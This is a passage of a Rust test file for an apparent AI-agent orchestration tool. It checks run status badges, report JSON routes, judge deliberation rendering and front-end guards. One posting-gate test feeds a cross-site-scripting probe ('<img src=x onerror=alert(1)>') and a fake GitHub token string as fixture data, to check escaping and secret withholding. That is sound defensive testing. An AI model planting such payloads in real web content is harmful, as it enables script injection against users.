19493 state.status = status;
19494 let display = run_display_status(&state, waiting, live);
19495 assert_eq!(
19496 run_badge_status(&state, &display, live, superseded),
19497 expected,
19498 "{status:?}/{live:?}/superseded={superseded}"
19499 );
19500 }
19501 }
19502
19503 #[test]
19504 fn summarize_and_detail_expose_badge_status() {
19505 use crate::run::Liveness::Dead;
19506 let mut state = RunState::new(
19507 PathBuf::from("/repo/magi"),
19508 "main".to_owned(),
19509 "abc".to_owned(),
19510 "Badge".to_owned(),
19511 Config::default(),
19512 );
19513 state.status = RunStatus::Gating;
19514 let none = HashSet::new();
19515 let id = state.id.clone();
19516 let mut by = HashMap::new();
19517 let rows = summarize(
19518 [state.clone()],
19519 &none,
19520 &none,
19521 &by,
19522 |_| Some(false),
19523 |_| None,
19524 );
19525 assert_eq!(rows[0].badge_status, rows[0].display_status);
19527 by.insert(id, "20260901-000000-913b".to_owned());
19528 let detail = RunDetailView::of(
19529 state.clone(),
19530 false,
19531 Dead,
19532 Some("913b".to_owned()),
19533 None,
19534 None,
19535 );
19536 assert_eq!(detail.badge_status, "superseded");
19537 let json = serde_json::to_value(&detail).unwrap();
19538 assert_eq!(json["badge_status"], "superseded");
19539 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19540 assert_eq!(detail.badge_status, "stale");
19541 }
19542
19543 #[tokio::test]
19544 async fn run_display_status_routes_share_the_open_question_store() {
19545 let f = Fixture::start().await;
19546 let id = "20260922-090200-abcd";
19547 write_run(&f.runs(), id, RunStatus::Judging);
19548 let mut state = read_run(&f.runs(), id).unwrap();
19549 state.parked = true;
19550 state.driver_exited = true;
19551 state.event("github-text", "waiting for the owner");
19552 state.save_under(f.home.path()).unwrap();
19553 let mut task = Task::new(
19554 "resumed task".to_owned(),
19555 "do it".to_owned(),
19556 PathBuf::from("/repo"),
19557 Source::Human,
19558 );
19559 task.runs = vec![id.to_owned(), id.to_owned()];
19560 f.queue().put(&mut task).unwrap();
19561 let store = f.questions();
19562 let mut q = Question::new(
19563 id.to_owned(),
19564 "github-text".to_owned(),
19565 "owner".to_owned(),
19566 "Approve the text?".to_owned(),
19567 String::new(),
19568 Vec::new(),
19569 );
19570 store.put(&mut q).unwrap();
19571 for expected in ["waiting", "parked"] {
19572 let list = f.get("/api/runs").await.json();
19573 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19574 assert_eq!(list[0]["display_status"], expected);
19575 assert_eq!(detail["display_status"], expected);
19576 assert_eq!(detail["waiting"], list[0]["waiting"]);
19577 assert_eq!(list[0]["badge_status"], expected);
19578 assert_eq!(detail["badge_status"], expected);
19579 assert!(list[0]["superseded_by"].is_null());
19580 assert!(detail["superseded_by"].is_null());
19581 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19582 let history = task_detail["history"].as_array().unwrap();
19583 assert_eq!(history.len(), 2);
19584 assert!(history[0]["badge"].is_null());
19585 assert_eq!(history[1]["badge"], expected);
19586 q.status = ask::QuestionStatus::Answered;
19587 store.put(&mut q).unwrap();
19588 }
19589 }
19590
19591 #[tokio::test]
19592 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19593 let f = Fixture::start().await;
19594 let id = "20260922-090200-abcd";
19595 write_run(&f.runs(), id, RunStatus::Judging);
19596 let mut state = read_run(&f.runs(), id).unwrap();
19597 state.parked = true;
19598 state.driver_exited = true;
19599 state.event("park", "stopped at a node boundary");
19600 state.save_under(f.home.path()).unwrap();
19601
19602 for expected in ["parked", "stale"] {
19603 let list = f.get("/api/runs").await.json();
19604 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19605 assert_eq!(list[0]["live"], "dead");
19606 assert_eq!(list[0]["display_status"], expected);
19607 assert_eq!(detail["display_status"], expected);
19608 state.parked = false;
19611 state.save_under(f.home.path()).unwrap();
19612 }
19613 }
19614
19615 #[tokio::test]
19616 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19617 let f = Fixture::start().await;
19618 for id in [
19619 "20260902-140501-aaaa",
19620 "20260902-140502-bbbb",
19621 "20260902-140503-cccc",
19622 ] {
19623 write_run(&f.runs(), id, RunStatus::Merged);
19624 }
19625
19626 let all = f.get("/api/runs").await.json();
19627 let capped = f.get("/api/runs?limit=2").await.json();
19628
19629 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19630 assert_eq!(all.as_array().map(Vec::len), Some(3));
19631 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19632 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19633 }
19634
19635 #[tokio::test]
19636 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19637 let f = Fixture::start().await;
19638 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19639
19640 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19641
19642 assert_eq!(res.status, 200);
19643 assert!(
19644 res.headers
19645 .contains("content-type: text/plain; charset=utf-8"),
19646 "a browser must render it, not download it: {}",
19647 res.headers
19648 );
19649 assert!(
19653 res.body.contains("20260902-140501-a1b2"),
19654 "the report is about the run that was asked for: {}",
19655 res.body
19656 );
19657 }
19658
19659 #[tokio::test]
19660 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19661 crate::run::pin_test_home();
19663 let f = Fixture::start().await;
19664 let id = "20260902-140501-a1b2";
19665 write_run(&f.runs(), id, RunStatus::Stalled);
19666 let path = f.runs().join(id).join("run.json");
19669 let mut v: serde_json::Value =
19670 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19671 v["tally"] = serde_json::json!({
19672 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19673 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19674 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19675 "met_quorum": false, "rankings": 1
19676 });
19677 v["reviews"] = serde_json::json!([{
19678 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19679 "e2e_deferred": true,
19680 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19681 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19682 ]}]
19683 }]);
19684 std::fs::write(&path, v.to_string()).unwrap();
19685 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19686 std::fs::write(
19687 f.runs().join("20260902-140502-dead").join("run.json"),
19688 "{not json",
19689 )
19690 .unwrap();
19691
19692 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19693
19694 assert_eq!(res.status, 200, "{}", res.body);
19695 assert!(res.headers.contains("content-type: application/json"));
19696 let j = res.json();
19697 assert_eq!(j["schema"], 1);
19698 assert_eq!(j["header"]["id"], id);
19699 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19700 let kinds: Vec<&str> = j["sections"]
19701 .as_array()
19702 .unwrap()
19703 .iter()
19704 .map(|s| s["kind"].as_str().unwrap())
19705 .collect();
19706 assert_eq!(kinds, ["candidates", "tally", "review"]);
19707 let tally = &j["sections"][1]["tally"];
19708 assert_eq!(
19709 (tally["decided"].clone(), tally["provisional"].clone()),
19710 (false.into(), true.into())
19711 );
19712 let round = &j["sections"][2]["rounds"][0];
19713 assert_eq!(round["e2e"]["state"], "deferred");
19714 assert_eq!(round["findings"][0]["severity"], "major");
19715 assert_eq!(round["findings"][0]["blocking"], true);
19716 assert_eq!(round["findings"][0]["state"], "open");
19717
19718 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19720
19721 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19723 assert_ne!(bad.status, 200, "{}", bad.body);
19724 assert_eq!(
19725 bad.status,
19726 f.get("/api/runs/20260902-140502-dead/report").await.status
19727 );
19728 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19729 assert_eq!(
19730 f.get("/api/runs/20260902-999999-ffff/report.json")
19731 .await
19732 .status,
19733 404
19734 );
19735 }
19736
19737 #[tokio::test]
19738 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19739 crate::run::pin_test_home();
19740 let f = Fixture::start().await;
19741 let id = "20260902-140503-delib";
19742 write_run(&f.runs(), id, RunStatus::Merged);
19743 let path = f.runs().join(id).join("run.json");
19744 let mut v: serde_json::Value =
19745 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19746 v["judgements"] = serde_json::json!([
19747 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19748 ]);
19749 v["tally"] = serde_json::json!({
19750 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19751 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19752 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19753 "met_quorum": true, "rankings": 1
19754 });
19755 v["deliberation"] = serde_json::json!([
19756 {
19757 "round": 1,
19758 "turns": [
19759 {
19760 "judge": 1,
19761 "agent": "judge-1",
19762 "body": "I prefer candidate **A** because it has cleaner tests.",
19763 "tentative": "A"
19764 }
19765 ]
19766 },
19767 {
19768 "round": 2,
19769 "turns": [
19770 {
19771 "judge": 1,
19772 "agent": "judge-1",
19773 "body": "Still thinking, no choice yet.",
19774 "tentative": null
19775 }
19776 ]
19777 }
19778 ]);
19779 std::fs::write(&path, v.to_string()).unwrap();
19780
19781 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19782 assert_eq!(res.status, 200, "{}", res.body);
19783 let j = res.json();
19784 let judging = j["sections"]
19785 .as_array()
19786 .unwrap()
19787 .iter()
19788 .find(|s| s["kind"] == "judging")
19789 .expect("judging section exists");
19790
19791 let delib_lines = judging["deliberation"].as_array().unwrap();
19793 assert_eq!(delib_lines.len(), 2);
19794 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19795 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19796
19797 let rounds = judging["rounds"].as_array().unwrap();
19799 assert_eq!(rounds.len(), 2);
19800 let r1_t0 = &rounds[0]["turns"][0];
19801 assert_eq!(r1_t0["judge"], 1);
19802 assert_eq!(r1_t0["agent"], "judge-1");
19803 assert_eq!(r1_t0["tentative"], "A");
19804 assert_eq!(
19805 r1_t0["body"],
19806 "I prefer candidate **A** because it has cleaner tests."
19807 );
19808 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19809
19810 let r2_t0 = &rounds[1]["turns"][0];
19811 assert_eq!(r2_t0["judge"], 1);
19812 assert_eq!(r2_t0["agent"], "judge-1");
19813 assert!(r2_t0["tentative"].is_null());
19814 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19815 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19816
19817 let id_empty = "20260902-140504-nodelib";
19819 write_run(&f.runs(), id_empty, RunStatus::Merged);
19820 let path_empty = f.runs().join(id_empty).join("run.json");
19821 let mut v_empty: serde_json::Value =
19822 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19823 v_empty["judgements"] = serde_json::json!([
19824 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19825 ]);
19826 v_empty["deliberation"] = serde_json::json!([]);
19827 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19828
19829 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19830 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19831 let j_empty = res_empty.json();
19832 let judging_empty = j_empty["sections"]
19833 .as_array()
19834 .unwrap()
19835 .iter()
19836 .find(|s| s["kind"] == "judging")
19837 .expect("judging section exists");
19838 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19839 }
19840
19841 #[tokio::test]
19842 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19843 let f = Fixture::start().await;
19844
19845 let html = f.get("/").await;
19846 let css = f.get("/app.css").await;
19847 let js = f.get("/app.js").await;
19848
19849 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19850 assert!(
19851 html.headers
19852 .contains("content-type: text/html; charset=utf-8")
19853 );
19854 assert!(css.headers.contains("content-type: text/css"));
19855 assert!(js.headers.contains("content-type: text/javascript"));
19856 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19857 }
19858
19859 #[test]
19860 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19861 let body = |name: &str| {
19862 let at = APP_JS
19863 .find(name)
19864 .unwrap_or_else(|| panic!("{name} missing"));
19865 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19866 };
19867 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19868 let note = body("function landRoundNote");
19869 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19870 assert!(note.contains("Land round ${round}"));
19871 let land = body("function renderLand");
19872 let note_at = land
19873 .find("landRoundNote(pr)")
19874 .expect("renderLand uses the note");
19875 assert!(
19876 note_at
19877 < land
19878 .find("roundRail(pr)")
19879 .expect("renderLand uses the rail")
19880 );
19881 }
19882
19883 #[test]
19884 fn the_runs_page_redesign_keeps_its_guards() {
19885 let body = |name: &str| {
19886 let at = APP_JS
19887 .find(name)
19888 .unwrap_or_else(|| panic!("{name} missing"));
19889 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19890 };
19891 let land = body("function renderLand");
19893 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19894 assert!(
19895 !land.contains("box.append("),
19896 "renderLand must use append()"
19897 );
19898 assert!(land.contains("append(box, ["));
19899 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19901 assert!(
19902 body("function applyRoute")
19903 .contains("route.name !== state.route.name || route.id !== state.route.id")
19904 );
19905 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19907 assert!(!INDEX_HTML.contains("advise-converge"));
19908 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19909 assert!(APP_JS.contains("provisional"));
19910 for id in [
19911 "run-tab-overview",
19912 "run-tab-timeline",
19913 "run-tab-report",
19914 "run-report",
19915 "runs-scope",
19916 ] {
19917 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19918 }
19919 assert!(!INDEX_HTML.contains("runs-tree"));
19920 assert!(!INDEX_HTML.contains("run-raw-panel"));
19921 assert!(APP_JS.contains("resume"));
19923 assert!(APP_JS.contains("unreadable"));
19925 }
19926
19927 #[test]
19928 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19929 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19930 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19931 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19932 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19933 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19934 assert!(APP_JS.contains("unreadable` : null"));
19936 }
19937
19938 #[test]
19939 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19940 let mut state = RunState::new(
19941 "/repo".into(),
19942 "main".into(),
19943 "abc".into(),
19944 "task".into(),
19945 crate::config::Config::default(),
19946 );
19947 state.status = RunStatus::Blocked;
19948 state.gate_ran = true;
19949 state.gate.push(crate::run::CommandOutcome {
19950 command: "cargo make check".into(),
19951 code: Some(1),
19952 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19953 duration_ms: 0,
19954 resource_blocked: false,
19955 });
19956 let view = RunDetailView::of(
19957 state,
19958 false,
19959 crate::run::Liveness::Unknown,
19960 None,
19961 None,
19962 None,
19963 );
19964 let value = serde_json::to_value(view).unwrap();
19965 assert_eq!(
19966 value["stop_reason"],
19967 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19968 );
19969 }
19970
19971 #[test]
19972 fn the_run_detail_payload_says_whether_the_run_is_done() {
19973 for (status, done) in [
19975 (RunStatus::Superseded, true),
19976 (RunStatus::Blocked, true),
19977 (RunStatus::Landing, false),
19978 ] {
19979 let mut state = RunState::new(
19980 std::path::PathBuf::from("/repo"),
19981 "main".to_owned(),
19982 "abc".to_owned(),
19983 "x".to_owned(),
19984 crate::config::Config::default(),
19985 );
19986 state.status = status;
19987 let v = serde_json::to_value(RunDetailView::of(
19988 state,
19989 false,
19990 crate::run::Liveness::Unknown,
19991 None,
19992 None,
19993 None,
19994 ))
19995 .unwrap();
19996 assert_eq!(v["done"], done, "{status:?}");
19997 }
19998 }
19999
20000 fn has_strong(nodes: &[md::Node]) -> bool {
20002 serde_json::to_string(nodes).unwrap().contains("strong")
20003 }
20004
20005 #[test]
20006 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20007 let mut state = RunState::new(
20008 std::path::PathBuf::from("/repo"),
20009 "main".to_owned(),
20010 "abc".to_owned(),
20011 "x".to_owned(),
20012 crate::config::Config::default(),
20013 );
20014 let proposal = |approach: &str| {
20015 serde_json::json!({
20016 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20017 })
20018 };
20019 state.advice = Some(
20020 serde_json::from_value(serde_json::json!({
20021 "records": [
20022 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20023 "proposal": proposal("do **this**")},
20024 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20025 ],
20026 "synthesis": "- one\n- **two**\n\n`code`",
20027 }))
20028 .unwrap(),
20029 );
20030 state.candidates = serde_json::from_value(serde_json::json!([
20031 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20032 "summary": "did **it**"},
20033 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20034 ]))
20035 .unwrap();
20036 state.reviews = serde_json::from_value(serde_json::json!([{
20039 "round": 1, "head": "h",
20040 "reviews": [{
20041 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20042 "findings": [
20043 {"severity": "nit", "title": "t1", "detail": "plain nit"},
20044 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20045 ],
20046 }],
20047 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20048 "fix": {"agent": "a", "notes": "fixed **it**",
20049 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20050 }, {"round": 2, "head": "h2", "reviews": []}]))
20051 .unwrap();
20052
20053 let v = serde_json::to_value(RunDetailView::of(
20054 state,
20055 false,
20056 crate::run::Liveness::Unknown,
20057 None,
20058 None,
20059 None,
20060 ))
20061 .unwrap();
20062
20063 let strong = |p: &str| {
20064 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20065 assert!(n.to_string().contains("strong"), "{p}: {n}");
20066 };
20067 strong("/advice_md/synthesis");
20068 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20069 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20070 strong("/advice_md/approaches/0");
20071 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20072 strong("/candidate_summaries_md/0");
20073 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20074 strong("/reviews_md/0/reviewers/0/summary");
20075 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20076 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20077 assert!(f[1].to_string().contains("strong"));
20078 strong("/reviews_md/0/reconsideration/0");
20079 strong("/reviews_md/0/fix/notes");
20080 strong("/reviews_md/0/fix/rejected/0");
20081 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20082 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20083 assert_eq!(v["candidates"][0]["summary"], "did **it**");
20085 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20086 }
20087
20088 #[test]
20089 fn a_run_without_advice_has_no_advice_md() {
20090 let state = RunState::new(
20091 std::path::PathBuf::from("/repo"),
20092 "main".to_owned(),
20093 "abc".to_owned(),
20094 "x".to_owned(),
20095 crate::config::Config::default(),
20096 );
20097 let p = run_prose_md(&state);
20098 assert!(p.advice_md.is_none());
20099 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20100 }
20101
20102 #[test]
20103 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20104 let store = ask::Questions::at(PathBuf::from("unused"));
20105 let gt = crate::github_text::Withheld {
20106 title: false,
20107 body: true,
20108 categories: vec!["sensitive-data".into()],
20109 };
20110 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20111 let (detail, comparison) =
20112 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20113 let mut q = Question::new(
20114 "r".into(),
20115 "github-text".into(),
20116 "posting-gate".into(),
20117 "s".into(),
20118 detail,
20119 Vec::new(),
20120 );
20121 assert!(
20122 QuestionView::of(q.clone(), &store, None)
20123 .posting_view
20124 .is_none()
20125 );
20126 q.posting_comparison = Some(comparison);
20127 let view = QuestionView::of(q.clone(), &store, None);
20128 let field = &view.posting_view.unwrap().fields[0];
20129 assert_eq!(
20130 field
20131 .original
20132 .iter()
20133 .map(|f| f.text.as_str())
20134 .collect::<String>(),
20135 body
20136 );
20137 assert!(field.original[0].text.starts_with("<img"));
20138 let original_question: Question =
20139 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20140 assert_eq!(original_question, q);
20141 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20142 .original
20143 .start = 1;
20144 assert!(
20145 QuestionView::of(q.clone(), &store, None)
20146 .posting_view
20147 .is_none()
20148 );
20149 q.posting_comparison = original_question.posting_comparison;
20150 q.detail.push_str("extra context");
20151 assert!(
20152 QuestionView::of(q.clone(), &store, None)
20153 .posting_view
20154 .is_some()
20155 );
20156 q.detail.insert(0, 'x');
20157 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20158 }
20159
20160 #[test]
20161 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20162 let store = ask::Questions::at(PathBuf::from("unused"));
20163 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20164 let gt = crate::github_text::Withheld::from_check(
20165 &crate::github_text::check("fix: x", body),
20166 "fix: x",
20167 body,
20168 )
20169 .unwrap();
20170 let (detail, comparison) =
20171 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20172 let mut q = Question::new(
20173 "r".into(),
20174 "github-text".into(),
20175 "posting-gate".into(),
20176 "s".into(),
20177 detail,
20178 Vec::new(),
20179 );
20180 q.posting_comparison = Some(comparison);
20181 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20182 let field = &value["posting_view"]["fields"][0];
20183 let group = &field["replacement_group"];
20184 let triggers = group["triggers"].as_array().unwrap();
20185 assert_eq!(triggers.len(), 2);
20186 assert_ne!(triggers[0], triggers[1]);
20187 for id in triggers {
20188 assert!(
20189 field["original"]
20190 .as_array()
20191 .unwrap()
20192 .iter()
20193 .any(|f| &f["pair"] == id)
20194 );
20195 assert!(
20196 !field["changed"]
20197 .as_array()
20198 .unwrap()
20199 .iter()
20200 .any(|f| &f["pair"] == id)
20201 );
20202 }
20203 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20204 group["id"].as_u64().unwrap() as usize;
20205 assert!(
20206 QuestionView::of(q, &store, None).posting_view.is_none(),
20207 "group and trigger IDs cannot collide"
20208 );
20209 }
20210
20211 #[test]
20212 fn a_question_view_carries_markdown_for_each_thread_turn() {
20213 let home = TempDir::new().unwrap();
20214 let store = ask::Questions::at(home.path().join("questions"));
20215 let mut q = Question::new(
20216 "run".to_owned(),
20217 "implement".to_owned(),
20218 "impl-A".to_owned(),
20219 "which?".to_owned(),
20220 String::new(),
20221 Vec::new(),
20222 );
20223 q.say("plain words").unwrap();
20224 q.reply("use **this**", Vec::new()).unwrap();
20225 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20226 let bodies = &v["thread_bodies_md"];
20227 assert_eq!(bodies.as_array().unwrap().len(), 2);
20228 assert!(!bodies[0].to_string().contains("strong"));
20229 assert!(bodies[1].to_string().contains("strong"));
20230 }
20231
20232 #[test]
20233 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20234 let home = TempDir::new().unwrap();
20235 let store = ask::Questions::at(home.path().join("questions"));
20236 let mut q = Question::new(
20237 "run".to_owned(),
20238 "conduct".to_owned(),
20239 "conduct".to_owned(),
20240 "which?".to_owned(),
20241 String::new(),
20242 Vec::new(),
20243 );
20244 q.say("plain words").unwrap();
20245 q.thread.push(ask::Turn {
20246 who: ask::Who::Agent,
20247 body: "Settled as `merge`".to_owned(),
20248 at: jiff::Timestamp::now(),
20249 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20250 });
20251 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20252 let notes = &v["thread_notes_md"];
20253 assert_eq!(notes.as_array().unwrap().len(), 2);
20254 assert!(notes[0].is_null());
20255 let text = notes[1].to_string();
20256 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20257 assert!(APP_JS.contains("ask-turn-note"));
20258 }
20259
20260 #[test]
20261 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20262 assert!(APP_JS.contains("function landView(run, raw) {"));
20266 assert!(
20267 APP_JS.contains(
20268 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20269 )
20270 );
20271 assert!(APP_JS.contains("const pr = landView(run, raw);"));
20272 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20273 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20274 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20275 }
20276
20277 #[test]
20278 fn live_runs_are_never_hidden_or_folded_as_superseded() {
20279 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
20280 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20281 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20282 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20283 }
20284
20285 #[test]
20286 fn review_rounds_label_a_distinct_verified_head() {
20287 assert!(APP_JS.contains("round.verified_head"));
20288 assert!(APP_JS.contains("verified HEAD"));
20289 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20290 }
20291
20292 #[test]
20293 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20294 assert!(APP_JS.contains("blocked: { glyph:"));
20298 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20299
20300 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20304 assert!(
20305 APP_JS.contains(
20306 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20307 ),
20308 "the note line must name what a blocked task is waiting on, not just that it is blocked"
20309 );
20310 assert!(APP_JS.contains("if (status === \"blocked\") {"));
20314
20315 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20319 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20320 assert!(
20321 APP_JS.contains("location.hash = \"#/questions\";"),
20322 "a question node must jump to the Questions screen, not pretend to be a task"
20323 );
20324
20325 assert!(APP_JS.contains("Resolved questions"));
20328 assert!(APP_JS.contains("r.answersList.append("));
20329 assert!(APP_CSS.contains(".task-answers"));
20330 {
20331 let start = APP_JS
20332 .find("function updateTalkTaskRow")
20333 .expect("updateTalkTaskRow");
20334 let body = &APP_JS[start..];
20335 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20336 assert!(
20337 body.contains(
20338 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20339 ),
20340 "a chat-filed task row must link to the task page"
20341 );
20342 assert!(
20343 !body.contains("#/runs/") && !body.contains("#/queue/"),
20344 "the row must not branch to a run or the queue card"
20345 );
20346 assert!(APP_CSS.contains(".talk-task-link"));
20347 }
20348 }
20349
20350 #[test]
20351 fn a_task_notification_links_to_the_task_page() {
20352 let start = APP_JS
20354 .find("function noticeLink(")
20355 .expect("noticeLink exists");
20356 let body = &APP_JS[start..];
20357 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20358 assert!(
20359 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20360 "a task notice's link must target the task page"
20361 );
20362 assert!(
20363 !body.contains("#/queue/"),
20364 "regression: the task link must not go back to the Backlog route"
20365 );
20366 assert!(
20367 APP_JS.contains(
20368 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20369 ),
20370 "`#/tasks/<id>` must parse into the task route"
20371 );
20372
20373 assert!(
20375 APP_JS.contains(
20376 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20377 ),
20378 "`#/queue/<id>` must parse into a route carrying that id"
20379 );
20380
20381 assert!(APP_JS.contains("state.queueFocus = route.id;"));
20385 assert!(APP_JS.contains("function consumeQueueFocus()"));
20386 assert!(APP_JS.contains("jumpToTask(id)"));
20387 }
20388
20389 #[test]
20390 fn notifications_distinguish_actionable_questions_from_informational_notices() {
20391 let start = APP_JS
20392 .find("function noticeCoveredBy(")
20393 .expect("noticeCoveredBy exists");
20394 let body = &APP_JS[start..];
20395 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20396
20397 assert!(body.contains("Associated question ${short}"));
20399 assert!(!body.contains("el(\"a\""));
20400
20401 assert!(body.contains("(resolved)"));
20403 assert!(body.contains("(closed)"));
20404
20405 let start = APP_JS
20406 .find("function renderNotifications()")
20407 .expect("renderNotifications exists");
